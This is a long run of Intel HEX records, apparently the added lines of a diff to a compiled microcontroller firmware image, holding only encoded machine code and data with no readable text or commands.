+:1033B4000038582CC0C0583CC040580CC140C0D83C +:1033C400F01F002EF01F0022E3CD80C0F01F002C60 +:1033D400F01F001FE3CD80C0F01F002AF01F001C67 +:1033E400E3CD80C04A9CE06802009918308BF01F3E +:1033F400001DE3CD80C0F01F0024F01F0015E3CDB5 +:1034040080C0301CF01F0023E3CD80C0300CF01FBF +:103414000021E3CD80C0300AE06B2000305CF01F57 +:10342400001EF01F000BE3CD80C03008C80BE3CDB5 +:1034340080C0000000000314000003348000304802 +:10344400800030740000030C80002E4480002EC8DD +:103454000000009080005C5880002FE000000348CA +:103464008000301880004CCC0000006C8000576C49 +:10347400800030A480004C8C80002E0880002E1C1C +:1034840080002E3080002DA40000033880004CA062 +:103494008000316880002DBCD4014A58118830095D +:1034A400F2081800C1E4E2180060E0480020C3E11B +:1034B40049F811993FE8F0091800C38149C89039C7 +:1034C4003018F0091900C321499890193008F009FF +:1034D4001900C2C14968497991293019B069DA0AD9 +:1034E400E2180060E0480020C211491811993FF821 +:1034F400F0091800C1B148E890393008F009190002 +:10350400C15148B890193008F0091900C0F148A910 +:10351400B28848A9B288302CF01F0009E06C008101 +:10352400F01F0007F01F0007DA0AD80A0000068C13 +:103534000000030C000003340000031080003E4030 +:1035440080002E58D40130094838B089F01F000398 +:10355400D80200000000031080005498D401300801 +:1035640048A9B28848A9B288F01F000A48A8B08CBC +:10357400580CC090201CB08CF01F0008C040F01FF5 +:103584000008DA0AD80A000000000310000003341F +:1035940080004C880000030C8000548C80002E585E +:1035A4005EFCD703D401301CF01F0003302CF01F45 +:1035B4000002D80280002C84D401302CF01F0002B9 +:1035C400D802000080002C84D401301CF01F0003BA +:1035D400302CF01F0002D80280002C34D401302C8F +:1035E400F01F0002D802000080002C345EFD5EFD56 +:1035F400D4013009E06A0200189B129CF01F0002FB +:10360400D802000080002CF4D4013009E06A0200E2 +:10361400189B301CF01F0002D802000080002CF41C +:10362400D401498811883019F2081800C140C063D8 +:103634003029F2081800C201C1A830094928B0890C +:10364400F01F0012C031302CD802301948D8B0898C +:10365400303CD802F01F000DC020D80A3029489809 +:10366400B08930094888B089303CD80230094858BC +:10367400B089302CD80230094828B089303CD802AF +:10368400000000A00000030880002BD8D401F01F24 +:103694000002D80280002930EBCD40C0189616975E +:1036A400490811893008F0091800C091F01F000E74 +:1036B40048C811893008F0091800C0F00C9CF01FAC +:1036C400000B0E9C5C7CF01F000A1897F01F000989 +:1036D4005807C030E3CF80C0302CE3CD80C0000059 +:1036E40000000308800036908000223C800028D02F +:1036F400800021ACEBCD40C018971696492811895B +:103704003008F0091800C0C1F01F001048E8118902 +:103714003008F0091800C041302CE3CD80C00E9C65 +:10372400F01F000BC0D0F9D6C010F01F000AC080F3 +:10373400F01F0009EC1C00015C5CE3CD80C0E3CF0A +:1037440090C00000000003088000369080002260D2 +:103754008000290080002254EBCD4080189748C88F +:1037640011893008F0091800C0C1F01F000A488808 +:1037740011893008F0091800C041302CE3CD808055 +:10378400485870082FF88F08E3CF808000000308A2 +:103794008000369000000670FE6814007009F3DCA7 +:1037A400D0C191095EFCD703D401E0688A3FEA18CE +:1037B40001F7103CE0880006301CF01F0004D8021A +:1037C400300CF01F0002D8028000379CF808160560 +:1037D400A968E028F000581BC0D0C063582BC10072 +:1037E400583BC1405EFF3019F20C0949916991A917 +:1037F400C1283019F20C0949915991A9C0C830194E +:10380400F20C094991699199C0683019F20C09497F +:10381400915991993019F20C094C912C5EFDD70302 +:10382400D42118971694580BC0313005C0D83006EF +:103834000C950F9B0F8CF01F000618452FE72FF6F1 +:103844000C34FE9BFFF80A9CD8220000800037D07D +:10385400F8081605A968E028F0001699E219000492 +:10386400C0703019F20C0949F1490074C06830196C +:10387400F20C0949F14900781699E2190080C24016 +:103884001699E2190180C0903019F20C0949F149E6 +:1038940000A8F14900B8C1881699E2190280C090C5 +:1038A4003019F20C0949F14900A4F14900B8C0C823 +:1038B4001699E2190380C0803019F20C0949F149C4 +:1038C40000A8F14900B4F3DBC001C150E21B0002BF +:1038D400C0703019F20C0949F1490054C06830191C +:1038E400F20C0949F14900583019F20C0949F1491F +:1038F4000044C0683019F20C0949F14900483019F4 +:10390400F20C094C911C5EFCC008D703F60816059E +:103914004999F2080039F7DBC0057219F20B092C3A +:10392400580AC0914959496A121AFE790800F208E6 +:10393400092A5EFC581AC0A14909492A121ABFAAC9 +:10394400FE790800F208092A5EFC582AC0A148B989 +:1039540048DA121ABFBAFE790800F208092A5EFC96 +:10396400486948AA121AEA1AC000FE790800F20847 +:10397400092A5EFC80005DC480005A0080005B045C +:1039840080005B1280005B2080005B2ED4214918EC +:10399400E3B80001490E30070E94490C490510158F +:1039A400FE760800C10808987C1B7C0AF608092CDE +:1039B4002FF8103AFE9BFFFCEC0709252FF72F8EFA +:1039C4005927C0507C085808CEF1CF7BD82200007C +:1039D40080005A0080005DC48000390C80005B04C4 +:1039E400FE780800E0690083F20C010CF00C032956 +:1039F400F2CAFFC0F00A03285808C0215EFDF0088F +:103A04001200485AF4090039F008111F7219F2081B +:103A1400032C5EFC80005DC4F8C90001F80816019F +:103A2400F2080008F00B000BF60C0D0A149CF4C805 +:103A34000001E04800FEE08800035EFE5C8C5EFC52 +:103A4400F739000D3018F0091800E0880004302C14 +:103A54005EFCE0680080990878183019F1D9D0012B +:103A6400F739000DF1D9D0813009F1D9D0E130FA1C +:103A7400F1DAD20499185EF9D4013018F00B180069 +:103A84005FBEF00A18005FB8FDE81008C030302CA3 +:103A9400D8027818F1DBD021F1DAD041F1D9D3087A +:103AA4009918D80A7818EA18000F99187818E218A3 +:103AB4000004C0F030E8F00B1800E08B001978180F +:103AC400B16BEA1BFFF0E81BFFFF106B991B5EFD57 +:103AD4003038F00B1800E08B000B78182F0B3019DE +:103AE400F20B094B5CDB106B991B5EFD302C5EFC0A +:103AF400E0683A98C0585808C0215EFF20187849F9 +:103B0400E2190200CF907818EA18000F99183008CB +:103B1400EA18010099085EFDEBCD40F81895169758 +:103B2400F736000C3038F0061800E08B004DF734FF +:103B3400000B3018F0041800E08B0046F73300083F +:103B44003078F0031800E088003F3108F0031800D3 +:103B5400E08B003A149B6E1CF01F001DC345300817 +:103B6400EC091601F1D9D001EC160001F1D6D021EF +:103B7400F1D4D0612083F1D3D084F1DCD108EF39C2 +:103B84000009F1D9D208EF39000AF1D9D3080F8915 +:103B9400301AF4091800C0E0C0A3302AF409180050 +:103BA400C0C0303AF4091800C0E1C0A88BC8E3CF04 +:103BB40080F88BD8E3CF80F88BE8E3CF80F88BF8DC +:103BC400E3CF80F8302CE3CD80F8000080003A1C6D +:103BD400301899085EFC784CF9DCC2015EFCE068A0 +:103BE4003A98C0585808C0215EFF20187849E21955 +:103BF4000002CF905C7B993B5EFDE0683A98C05828 +:103C04005808C0215EFF20187849E2190201E049F2 +:103C14000201CF717828B6085EFD5EFFFE680000E1 +:103C24007009A7D991097009F9DCC007E019FF8070 +:103C3400F9E9100991097009A7B991095EFCFE68B8 +:103C44000000700CF9DCC0075EFCFE680020700CFC +:103C5400F9DCC06B5EFCD7034828912CB06B5EFC8A +:103C64000000068CF1DCC004A368E038FE40700C50 +:103C7400F9DCC2615EFCD703F9DCC0043028F00C27 +:103C84001800E08B00361899F8C80001F0080028E5 +:103C9400498AF4080028700A580AC2A5A369FE6B71 +:103CA4000130F20B000A740AF5DAC182C110700BFC +:103CB400301AF7DAD3A1910BE039FE10E068100056 +:103CC4009308F00C094CFE690000936C5EFAFE6ADE +:103CD4000100F20A0008700AA9DA910AE039FE101C +:103CE400E86800009308E468000093085EFF5EFD46 +:103CF4000000041CD401F9DCC0043028F00C1800C6 +:103D0400E0880003D80AF8C80001F00800284979BF +:103D1400F2080028A36CFE6A01C0F80A00097209BF +:103D2400E6190008C0517009E6192000C1C07009E5 +:103D3400300AF3DAD3A19109FE6A0220F80A0009D5 +:103D4400E86A0000930AE03CFF007809A9B99909E0 +:103D540070095809C084300AF3DAD3E19109704834 +:103D64005D18DA0ADA0A00000000041CD401F9DC48 +:103D7400C0043028F00C1800E08B0027FE68000017 +:103D840070793018F00C09481268C1E0F8C80001D5 +:103D9400F008002848D9F208002870095809C145DC +:103DA400A36CE03CFE40780AE61A0008C041E6191C +:103DB4002000C0807009301CF3DCD3E19109914BE1 +:103DC400D8025D1BDA0AD80A0000041C305948588E +:103DD4009109E8690000FE6801F091095EFC0000A9 +:103DE40000000448D401484870485808C0205D18B1 +:103DF400D80200000000068CD401169978085808EF +:103E0400C0B4300AF1DAD3E1990878485808C040C0 +:103E1400782B129C5D18D802D401F9DCC004201C54 +:103E2400F80C002C301B4848F00C002CF01F000349 +:103E3400D80200000000041C80003DFCD401F1DC29 +:103E4400C004A568E038FD0030099129F01F000284 +:103E5400D802000080003E1CD401FE690000727B81 +:103E6400F1DCC004301AF408094A5CDA166A937A61 +:103E7400A368E038FF007009A1D99109F01F00027E +:103E8400D802000080003E1CEBCD40E0F1DCC00411 +:103E94003029F2081800E08B0087FE69000072796F +:103EA4003017EE080947EFE90009C7D1F3DBC00278 +:103EB4005819C7955829E08A00065839C741300E69 +:103EC400C028301EF0091502E039FF0072065C7A42 +:103ED4003085F4050C4AE0650400F4050D4AA17A26 +:103EE400201AF40A1200F9DCC0E1AB7BE21B1800D3 +:103EF400F7EC108BF40C111CF7EC104CF9EE102EAF +:103F0400E21E197C0C9AE01AE683144E930E5C8729 +:103F14003019F2081800E08B001DFE6A01083029F0 +:103F2400FE6C00003016787EEC09094BF7EE000EAB +:103F3400C0B0F7E710075C87787E5CDB1C6B997B6D +:103F4400740BA1DB950B2019204AF2081800CEC38C +:103F54000E9C5C7CFE6E000030163027F808084981 +:103F6400F3D9C001C180F00B1502FE650100F6050E +:103F740000097205A1B593057C75EC08094A0A4A43 +:103F84009D7AE03BFED0760AE61A0004C0C0720AAD +:103F9400A9BA930A2FF85C58EE081800FE98FFE0BF +:103FA400E3CF90E0E3CF80E0580CC11149181189A8 +:103FB4003008F0091800C1A0E1B90000D30348E8B3 +:103FC400119A201AB09AE3B90000C10848981189DF +:103FD4003008F0091800C0A1E1B90000D303486813 +:103FE400119A2FFAB09AE3B900004828B08C5EFC0D +:103FF40000000444000006A4D401FE68080070090F +:10400400AFC99109FE690000720AA9AA930A70094E +:10401400AFA99109300CF01F0002D80280003FAC18 +:10402400EBCD4080E1B70000D303301CF01F001833 +:10403400FE6808007009AFC99109FE680804700998 +:10404400E2194000CFD0FE6800007009A9C99109A7 +:10405400FE680018308C910C301A910A31099109CC +:10406400304B910BFE680008910C910B302B910B97 +:10407400FE6B000C970A9109FE6808007009AFA94D +:104084009109E3B70000E3CD8080000080003FACDD +:10409400303948A89109E1BB0000D303FE6A0160EE +:1040A40030199509FE6801F0910930899509910943 +:1040B400E3BB00005EFC000000000448E1B800001F +:1040C400D303301AFE690220930AE3B800003029B2 +:1040D400FE68016091094859300893489358B268C2 +:1040E400483993085EFC00000000068C0000044878 +:1040F400EBCD4080E1B80000D303301AFE69022002 +:10410400930AE3B800004BA870085838C071F01F38 +:104114000039F01F0039E3CD80804B8890084B892B +:10412400926710175C87C2914B6A94091009B4090D +:104134004B3A943AF20A1900C040F1D8C006C120A3 +:1041440030494AB89109E1B90000D3033108FE6A45 +:1041540001609508FE6A01F09508E3B90000E3CD1B +:1041640080804A78705C580CC0805D1CC060300947 +:104174004A28B0094A2890674A18702A49F89009D1 +:10418400E1BB0000D303FE6801307008E2180002AE +:10419400C0913408F0071900F9B70B405807C091D3 +:1041A400C158E3BB0000304949189109E3CD808030 +:1041B4005C79F40900093008EA18D000133A10CAEF +:1041C400F5D8C008EE0A1900CFA348C89009F20731 +:1041D4000007B0073018FE6901609308FE6901F01A +:1041E4009308E3BB0000E3CD808000000000044896 +:1041F40080003DE8800040C0000004460000068CBA +:1042040000000418EBCD40C01899F8C80001F0086C +:1042140000284CFAF4080028700A580AE084009533 +:10422400703A702B163AC5E0F60A010AE05A00000B +:10423400E0880006E07A0000300EC038F40E151055 +:10424400F20B1502E03BFF007607E2170100C120E4 +:10425400760BF7DBC0833087EE0B094B201BF5EBA5 +:10426400000BC1800E4E700B3007F7D7D3C1910BF2 +:10427400C1187607EFD7C1625817C0A1760BF7DBD8 +:10428400C0833087EE0B094B163AE08B0004E81E1E +:104294000014F20B1504E03BFD0070167037EC07B8 +:1042A40000079717E1B60000D3037637E217001032 +:1042B400C151E81E0021972E7039F20A000A913A82 +:1042C400201C3008EA180200F00C094CFE680000BB +:1042D400916CE3B60000E3CD80C0E3B60000703A11 +:1042E400912AA369FE6B0100F20B000A740AE21A18 +:1042F4000100C260700AE61A4000C220FE6A016032 +:10430400F20A0008301A910AFE6B0130F20B000821 +:104314007008E6180001C070FE6A0190F20A0008F5 +:10432400301A910AE039FE1030189308E068100042 +:10433400F00C094CFE680000916CE3CD80C0300B9A +:10434400109CF01F0004E3CD80C000000000041C9A +:1043540080003DFCEBCD40F8FE6800047008E218D4 +:104364000004C1103049FE6800089109FE68080481 +:104374007008F1D8C182C031F01F016EF01F016EC8 +:10438400E08F02C6FE6800047008E2180002C090C4 +:104394003029FE6800089109F01F0166E08F02B819 +:1043A400FE6800007018E2181000E0800169FE68E1 +:1043B40002203109910930899109FE6801307008A1 +:1043C400E2180004C7F0FEF8057270085808C050DF +:1043D400F01F015BF01F015BFE6801307008F1D82B +:1043E400C28B5888C090F01F01583049FE680160A4 +:1043F4009109E08F028D3008EA18D000FEFC054CCC +:10440400300BEA1B3000F00C0009113AF20B0B0AD6 +:10441400308AEA1AD0001438CF71FEF8052E9019AC +:104424005CC9B01990295CC9B02990395CC9B0390C +:10443400F01F0147C091F01F01443049FE6801603C +:104444009109E08F02653049FE6801609109FEF828 +:1044540004FA11893008F0091800C1043008FEF983 +:1044640004F2B208FEF904F0B2083029FEF804CCD4 +:104474009109F01F013AE08F024BFEF804CE903907 +:104484003008F0091900C051F01F0135E08F0240D7 +:104494003008FEF904BEB208FEF904BCB2083019B3 +:1044A400FEF8049891093108FE6901609308E1B9A6 +:1044B4000000D303FE6A01F09508E3B90000E08F21 +:1044C4000227FE6801307008F1D8C001C0B0FE6850 +:1044D40001C07008F1D8C001C050F01F0120E08F66 +:1044E4000217FE6801307008E2180002E08000A59F +:1044F400FEF8044870085818C11058285F09584835 +:104504005F08F3E81008C040F01F010DC038F01F29 +:10451400010EF01F010CE08F01FBFE680130700BEF +:10452400F7DBC28BFEF804249069FEF8042A900895 +:10453400F9D9C010F5D8C010F60A000A143CC044DA +:104544001019F7D9B010FEF904027229580BE08053 +:1045540001E65C7810093008EA18D000113A12CA52 +:10456400F5D8C008F60A1900CFA3FEF903EA9208A9 +:1045740016085C88B2083409F20B1900C0E1FEF990 +:1045840003CA92BAF7D8C010FEF903C89289F60993 +:104594000009123AE089001AFEF903B0B268725CAD +:1045A400580CC0B05D1CC091F01F00E73029FE68B4 +:1045B40001609109E08F01AC3029FE680160910926 +:1045C400F01F00E7E08F01A4FEF903809269F0096F +:1045D4001900C231FEF80374705C580CC091F01FCE +:1045E40000DA3029FE6801609109E08F01915D1CB9 +:1045F400C091F01F00D53029FE6801609109E08F59 +:104604000187FEF9034EFEF8034E900B920AF60A58 +:10461400000AB20A3009B009FE6901603028930823 +:1046240031089308E1B90000D303FE6A01F095084C +:10463400E3B90000C6C9FE6801307008E21800083A +:10464400C1803089FE6801609109FE6801307008FC +:10465400F1D8C001E081015CFEF802E0700858382E +:10466400E0810156E8690000FE6801F09109C4F98F +:10467400FE6801307008E2180010C0E1FEFB02E49D +:10468400FE6901343007FE6600003005EA150200B9 +:10469400E0641000C1E83109FE6801609109FE6818 +:1046A40001307008E2180002E0810132FEF8028C49 +:1046B40070085818C041F01F00AAC2995848E081F8 +:1046C4000127E8690000FE6801F09109C209149706 +:1046D400EECAFFFF16986C4C149EEA070947EFECEC +:1046E400000CC1D06C1CEFEC000CC190F409150453 +:1046F400E039FD00723AF5DAC001E0810109FE6A91 +:10470400000095577239B189C060763AF4090109FD +:10471400973997291C9CF01F0094CF986C4CE80E95 +:10472400094EFDEC000CC470E07CFED0F20C0003DA +:10473400F2CCFF707807EFD7C001C1607207EFD7E2 +:10474400C001C120FE6A0220E60A0009301A930A59 +:10475400E033FEA0870AE06A4000930A300B109C05 +:10476400F01F0082CD48780CE21C1000C240720C8D +:10477400F9DCC182C201FE6C0220E60C0009E06A89 +:104784001000930AFE690000935E7009300AF3DAA0 +:10479400D3A19109FE6A0100E60A00087009A9D9AB +:1047A4009109E033FE10E86800008708E46800001F +:1047B4008708CAD82ECB2FC9582AC8A1CB3830872E +:1047C400FE68000891074E76301B0C9CF01F0067B2 +:1047D400301BECCCFFECF01F0065F01F0065FE6899 +:1047E40000007009E019FF8091097009A7B99109C7 +:1047F400FE690100720A340BF6070C47E06B0400F3 +:10480400EE0B0D4BA17B201BF60B1200F60B111CBB +:10481400A56BE21B197CE01AE683F7EA100A930AF7 +:10482400720AA1BA930A7079A1A99179E1BA000038 +:10483400D303FE6901F0304B930B302B930BE069EB +:1048440010009169E3BA0000F01F003EC608FE683C +:1048540000107008F1D8C001C1D0FE6800047008CF +:10486400F1D8C001C170FE6808007009AFC9910990 +:10487400301AFE690014930A310AFE690018930A7B +:104884007009AFA99109300CF01F003AF01F003AEB +:10489400C3E8FE6800107008E2180010C1F0FE685A +:1048A40000047008E2180010C190FE680800700946 +:1048B400AFC99109FE6908047208E2184000CFD01C +:1048C4003109FE6800149109301CFE680018910C2F +:1048D400F01F0028F01F0029C1A8FE680804700812 +:1048E400E2180002C140FE6808007009AFC99109CE +:1048F400302AFE690808930A7009AFA99109FE6875 +:104904000804700CF9DCC161F01F001DFE68000092 +:10491400F0F80818E3CD40F8D60348F9B208FE9F32 +:10492400FE3DFE6800047008E2180008C910C48B3C +:1049340080004D54800055280000044880003DE864 +:10494400800040C080003DD00000068C80004FD025 +:104954000000041800000446800040F480004094E5 +:104964000000041C8000420880003DFC80004F745D +:1049740080003FAC800054888000548A80005550E9 +:10498400EBCD40E0F9DCC0043027EE0C1800E08BDE +:10499400003DFE6E00007C7E18963017EE0C094731 +:1049A4001C67C330F80E1502E03EFE407C0EE61E86 +:1049B4000008C2B1201CF80C002C4957EE0C002E44 +:1049C4007C0CE61C2000C211E1BC0000D3037C0770 +:1049D4005807C054E3BC0000E3CF80E07C053017E7 +:1049E400EBD7D3E19D05E3BC00009D1A9D29300956 +:1049F4009D399D487C08F1DBD3C19D080C9CF01FB8 +:104A040000050E9CE3CD80E0E3CF80E00000041CB1 +:104A140080004208EBCD4080E1B70000D303F01FD3 +:104A2400002F300AE06B02204ADCF01F002EFE78D3 +:104A34000C00F0F90144A1A9F1490144FE68080001 +:104A44007009B9C991097009B9B991097009ADA979 +:104A540091097009AFB991097009AFC9910970083A +:104A64004A187009300AF3D9C01FF3DAD3A19109A7 +:104A74007059F3D9C01FF3DAD3A19159FE6800002D +:104A84007009ADC991097009E8190C009109302920 +:104A9400FE6808089109FE6808047008E218080016 +:104AA400C040FE68080C9109FE6808007009A1B9AD +:104AB40091097009AFA99109300948C8B089E1B9D1 +:104AC4000000D30348A811BA2FFAB0BAE3B9000022 +:104AD400E3B70000E3CD808080004BAC80004358F6 +:104AE400800039100000041C00000444000006A4E7 +:104AF40048DDFEC0F0F6E3B00001D55348B048C12C +:104B04000230C06248B2A505A1240230CFD348A028 +:104B140048A10230C06230023003A1220230CFE348 +:104B2400FECFF5B80000800000000008000000F08F +:104B340080005EA8000000F0000006B0E1BA0000AA +:104B4400D303FE780C007159E2190040CFD0A36C56 +:104B5400E02CF3F878083019F20B094B104B990B41 +:104B6400E3BA00005EFCD703EBCD40C01897E1B672 +:104B74000000D30348B811893008F0091800C05167 +:104B8400302B301CF01F0008486811892FF9B089B8 +:104B9400E3B600000E9B303CF01F0003E3CD80C061 +:104BA4000000044C80004B40D401301CF01F001E58 +:104BB400303B301CF01F001DFE780C007158F1D8FA +:104BC400C001C2B1FE780C007158E2180080C131F6 +:104BD400E1B90000D303FE780C00E06A030791AA50 +:104BE400700AA3AA910AE3B9000010997358E21855 +:104BF4000080CFD03088A3A831092019B169EA19FF +:104C04003F00E8190201F3E81008FE790C009388CC +:104C14007358F1D8C001CFD03069FE780C00F14947 +:104C2400006CD80280004B6C80004B40D401FE78AD +:104C34000C00E0690080EA1980809119E1B9000054 +:104C4400D303E06A030791AA700AA3AA910AE3B9FD +:104C540000007159E2190080CFD0E06C1B00EA1CFF +:104C640000B7F01F0008E1B90000D303FE780C0080 +:104C7400700AE01AFFFCA1AA910AE3B90000D80265 +:104C8400800037AC5EFFD703D401580CC020DA0A89 +:104C94004828700C5D1CD80280005E54D401580C66 +:104CA400C020DA0A48387018169C5D18D802000033 +:104CB40080005E54D401580CC020DA0A4828702CB5 +:104CC4005D1CD80280005E54580CC0205EFD48284C +:104CD400706C5EFC80005E54EBCD40E01897169536 +:104CE4001496F01F000A5807C0303017C08848884F +:104CF4007058F7D6C0100A9C5D181897F01F00056D +:104D04000E9CE3CD80E00000800035CC80005E5432 +:104D1400800035A8EBCD40E0189716951496F01F47 +:104D2400000A5807C0303017C08848887048F7D642 +:104D3400C0100A9C5D181897F01F00050E9CE3CD67 +:104D440080E00000800035E080005E54800035BCC7 +:104D5400EBCD40C0491811893008F0091800C1B0E2 +:104D640048F87008700913CA3009F20A1800C130F3 +:104D7400300748B67018F007032870485808C02058 +:104D84005D182FF75C576C08700913C9EE091800F9 +:104D9400FE9BFFF2E3CD80C00000045600000450E7 +:104DA40048787008700811AA11B9F3EA10895CC92F +:104DB400F9D9C010F00C000C5EFC00000000045097 +:104DC400EBCD40E01897169649B811893008F009E0 +:104DD4001800C2F049987008700811C9189EF809A3 +:104DE4001800E088002749658B08F01F00166A0840 +:104DF400103CE088001F304B1099119AF60A1800F5 +:104E0400C0A111AA0E9EEE0A1800C05111BAEC0AF4 +:104E14001800C0B01388F2080008103CFE9BFFEE97 +:104E240048799308E3CF80E048599308E3CF90E0B2 +:104E3400E3CF80E000000456000004500000045852 +:104E440080004DA4EBCD40C018961697F01F0011BA +:104E54000D8810060C3CE08800190D983049F208C2 +:104E64001800C130EE081800C0A1C1080D98F2085E +:104E74001800C0B0EE081800C031C08830490D8851 +:104E840010060C3CFE9BFFF430060C9CE3CD80C066 +:104E940080004DA4D401484811BCF9DCC007F01FC0 +:104EA4000003D8020000068C80003C20EBCD40E0DB +:104EB4001895F01F0012C1F04918700730560C9B6A +:104EC4000E9CF01F00101897C0D019CA19D8F1EA27 +:104ED400108A5CCA5C7A19BB19ACF01F000BCF01B5 +:104EE400C0A848A870087018F0050328700C5D1C51 +:104EF400E3CD80E0E3CF80E080004DC4000004589F +:104F040080004E4880003E8C00000450EBCD40E011 +:104F140018961897300BF01F0012C1E0491870085A +:104F24007018F00603256A3C5D1C189B0C9CF01F4E +:104F3400000CC12048C8700730560C9B0E9CF01F13 +:104F4400000B1897C05019ACF01F0009CF7B6A18EA +:104F54005D18E3CF90E0E3CF80E0000080004DC413 +:104F6400000004500000045880004E4880003E5C5D +:104F7400EBCD40C0492811893008F0091800C170F0 +:104F840049087008700811C93008F0091800C0F009 +:104F9400300748C60E9CF01F000C2FF75C576C08B6 +:104FA400700811C8EE081800FE9BFFF63009484847 +:104FB400B08930094858B009E3CD80C000000456D8 +:104FC4000000045080004F1000000454EBCD40E07A +:104FD400FEF804503009B069300A914A915A118898 +:104FE400109AF2081800C094FEF90438923B300974 +:104FF400F20B1900E08002101099E2190060E081C0 +:1050040001DFF20A1800E0840106FEF90416923961 +:105014005809E08001D5F1D8C005E08100A3FEFA6B +:105024000402159A306BF60A1800C1A0308BF60AF8 +:105034001800E080008A300BF60A1800E081009224 +:105044003028F0091900C040300CE08F01B5302B36 +:10505400FEFC03D4F01F00F5301CE08F01ADFEF818 +:1050640003C29019F2081608302AF4081800C10087 +:10507400303AF4081800C2A03019F2081800C6210A +:10508400FEF803AC700C198BF01F00E8C4C85C591F +:10509400FEF8039C7008F1380011F2081800E0884B +:1050A4000052FEF8038A7018F009033C19A919B8D4 +:1050B400F1E910885CC8F7D8C010F01F00DCFEF8D6 +:1050C400036270283029B099C2E85C595819C1505C +:1050D400E08900055809C0B0C3585829E080019EF2 +:1050E4005839C30130CBFEFC034AC0A8304BFEFC48 +:1050F4000346F01F00CEC178FEFC034030BBFEFA2D +:10510400033E2FEA189811395CC914B9F00C01094F +:10511400F6091800CF93A17B2FEBFEFC0322B88B7A +:10512400F01F00C2FEF802FC90399068F2081900E2 +:10513400E08B0004301CC3F9FEF802E8B069301CAF +:10514400C3A9300CC3893018F0091900C030300CE1 +:10515400C329301BFEFC02ECF01F00B4301CC2B9A2 +:105164005818C361FEFA02BC159B30AAF40B180050 +:10517400C2F1F0091900C2A1FEF802C81189300871 +:10518400F0091800C230FEF8029A11D7FEF802B8EE +:105194007008700811C8EE081800E0880018300B79 +:1051A4000E9CF01F00AAC120FEF8029C7008701823 +:1051B400F0070328703C5D1CFEF80294B08C301B91 +:1051C400109CF01F009A301CCF68300CCF48582830 +:1051D400E08100F6FEF8024C119A3008F00A18003B +:1051E400E08100E93028F0091900C030300CCE38D5 +:1051F400FEF8023011DCF01F0097E0680100F9B8F6 +:105204000000FEFC0252B808302BF01F0088301C4E +:10521400CD28F1D8C005C781FEF902081399303AA8 +:10522400F4091800E08000C7E08B0007301AF40985 +:105234001800C6A1C188305AF4091800C060309A19 +:10524400F4091800C611C2384F6890393008F009C3 +:105254001900C030300CCAF8FEF902004F18914909 +:10526400301CCA984EF890393008F0091900C0D1A2 +:105274004EC890193018F0091900C0714EA8900951 +:10528400A9D9B009301CC978300CC9584E58903986 +:105294003008F0091900C341F01F0071C3104E1803 +:1052A40011B94E387008F13800111039E08900291D +:1052B400F01F006C4DB811B84E29B2885808C220AE +:1052C40020184DB97219F20800384DF99308700886 +:1052D40011C93008F0091800C15030070E954DA6C9 +:1052E4000A9B0E9CF01F0060C0B02FF75C576C083F +:1052F400700811C8EE081800FE9BFFF4C038300C8B +:10530400C5A8301CC5885818C2214C69139A30B9F5 +:10531400F20A1800C1C14C3890393008F00919005C +:10532400C1414C8811893008F0091800C0E04BD8FD +:10533400901611D70E9CF01F004DC070F7D6C00810 +:105344000E9CF01F0049C378300CC3585828C37111 +:105354004B4811983019F2081800C0603039F2082F +:105364001800C281C1484AF890393008F009190080 +:10537400C0C14AC890193008F0091900C0614A98A0 +:1053840011DCF01F003BC178300CC1584A589039E9 +:105394003008F0091900C0C14A2890193008F009F2 +:1053A4001900C06149F811DCF01F0032C048300C0C +:1053B400C028300C580CC030E3CF90E049981188D5 +:1053C400F1D8C0055818C27149E811893008F009AC +:1053D4001800C210493811D749B87008700811C8AC +:1053E400EE081800E08800180E96300B0E9CF01F93 +:1053F4000017C110494870087018F00703276E3C65 +:105404005D1C189B0C9CF01F0011C0506E2C5D1C81 +:10541400E3CD80E0E3CF80E0312B497CFE9FFE7139 +:105424000000068C0000045480003C5C0000001462 +:1054340080005E88000000EC000000B8000000C49A +:10544400000004560000045080004DC40000045CB9 +:1054540080003C680000044E80004E9880003C426E +:1054640080004F7480004EB080004F1080003CF8E4 +:1054740080003C7C000000A4D401F01F0002D8028C +:1054840080004A185EFC5EFC30194828B0895EFF33 +:105494000000045D5EFCD703EBCD4080204D1897DF +:1054A40049A9F2EA0000FAEB0000F2EA0008FAEB7C +:1054B4000008305B302CF01F0016FE7C2400F01F27 +:1054C4000015C1111A9BFE7C2400F01F0013300943 +:1054D400129A129BFE7C2400F01F0010FE7C240014 +:1054E400F01F000F204DFAC8FFF0F0EA0000FAEBBD +:1054F4000000F0E80008FAE900080E9CF01F00091B +:105504002FCD2FCDE3CD808080005E9880004B406E +:1055140080003BDA80003A4480003A7C80003BD42F +:1055240080002C00D401487811893008F009180053 +:10553400C060F01F00055C7CF01F0004D80200006E +:105544000000045D80003C4E800035A4D401580C5A +:10555400C040F01F0004D802F01F0003D80200006E +:105564008000402480003FFCD421F01F0076D50346 +:105574004F583009B089B099B0A9B0B9B0C9B0D901 +:105584003019B0E9F01F0071F01F0071E06C1B00CE +:10559400EA1C00B7F01F006FF01F006FF01F006FD0 +:1055A400C041301CF01F006E4EE530074E663004DB +:1055B4000B88EE081800C630F01F006BCFA1D30390 +:1055C4000D88EE081800C0B108990C982FF82FF92F +:1055D400118AEE0A1800CFB05809C031D503CE9B0A +:1055E400D303F2C80001A7B85858C430E0890010AA +:1055F4005828C2D0E08900075808C1D05818CD9166 +:10560400C2085838C2A05848CD41C2D8E0480082E8 +:10561400C210E0890009E0480080C100E048008130 +:10562400CC81C128E0480084C210C1A5E0480085AF +:10563400CC01C228E9B00000CBCBE9B00080CB9B01 +:10564400E9B00001CB6BE9B00081CB3BE9B00002CB +:10565400CB0BE9B00082CADBE9B00003CAABE9B006 +:105664000083CA7BE9B00004CA4BE9B00084CA1BBA +:10567400E9B00005C9EBE9B00085C9BBD3030D88C7 +:10568400EE081800C0B108990C982FF82FF9118A68 +:10569400EE0A1800CFB05809C031D503C8ABD30304 +:1056A4002019A7B95859C470E08900125829C310A9 +:1056B400E08900085809C2105819FE91FF7BC238CE +:1056C4005839C2D05849FE91FF75C2F8E0490082AA +:1056D400C230E089000AE0490080C120E04900812D +:1056E400FE91FF68C138E0490084C220C1B5E04999 +:1056F4000085FE91FF5FC228E9B00000C5ABE9B0A8 +:105704000080C57BE9B00001C54BE9B00081C51B31 +:10571400E9B00002C4EBE9B00082C4BBE9B0000305 +:10572400C48BE9B00083C45BE9B00004C42BE9B0C6 +:105734000084C3FBE9B00005C3CBE9B00085C39B7B +:1057440080003990000006A480004C3080002004C2 +:105754008000549C8000547C80003C1E8000555086 +:105764000000045D80002F14588AC2F5F9EB10097B +:10577400E2190003E0810097E04A0020C3B4F40872 